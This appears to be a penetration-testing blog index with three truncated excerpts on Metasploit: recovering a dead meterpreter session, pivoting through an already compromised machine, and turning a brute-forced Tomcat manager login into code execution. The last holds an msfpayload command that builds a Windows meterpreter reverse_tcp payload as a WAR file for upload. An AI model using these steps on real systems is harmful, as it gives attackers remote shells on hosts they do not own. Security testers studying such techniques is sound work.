So we’ve all been unlucky enough to have a meterpreter session die on us, and then we’ve all been unlucky enough that we cannot re-exploit the box using the same vulnerability for some reason or another.

No one I know in the White Hat scene likes to use any form of persistence with a payload; and you’d be nuts to use the bind_tcp option through fear of leaving it running.… Continue reading

So you’ve owned a box and now you want to exploit others using the first as a pivot. First thing to do is background your current meterpreter session:

1234567meterpreter > background msf exploit(multi_handler) > sessions -l Active sessions =============== Id  Type                   Information         … Continue reading

So, you’ve just brute forced the admin password for the Tomcat web app manager and you want to take it a step further…. step in metasploit.

msfpayload can create a WAR file containing a payload which you can upload to the target and exploit the box.

1./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4545 W >; /root/MetRev.war

Log into the interface at and upload the payload.

Once uploaded you then need to connect… Continue reading